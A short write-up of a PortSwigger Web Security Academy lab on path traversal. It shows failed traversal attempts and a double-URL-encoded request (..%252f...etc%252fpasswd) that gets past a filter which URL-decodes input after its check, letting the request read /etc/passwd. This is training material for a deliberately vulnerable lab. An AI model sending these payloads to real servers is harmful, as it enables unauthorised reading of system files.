| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Path Traversal (Superfluous URL-Decode) |
| Difficulty | Practitioner |
| Objective | Retrieve the contents of /etc/passwd |
File Path Traversal, Traversal Sequences Stripped with Superfluous URL-Decode¶
A shopping app displaying item images loads something like:
<img src="/image?filename=11.jpg">
Intercepting the request on Burp:
GET /image?filename=11.jpg HTTP/2
Trying the approaches from the earlier labs:
GET /image?filename=/etc/passwd HTTP/2
"No such file"
GET /image?filename=../../../../../../etc/passwd HTTP/2
"No such file"
GET /image?filename=....//....//....//....//etc/passwd HTTP/2
"No such file"
None of the absolute-path or nested-sequence bypasses work — the app is blocking input that contains traversal sequences before any of that matters, but it then does a URL-decode of the input afterward. The order of operations is key: the block happens before URL-decoding, so double-encoding ../ gets past the block — the app sees an encoded string with no literal ../ in it, blocks nothing, then decodes it afterward into a real traversal sequence. %252f decodes to %2f which decodes to /, and %25 decodes to %.
GET /image?filename=..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/2
Lab solved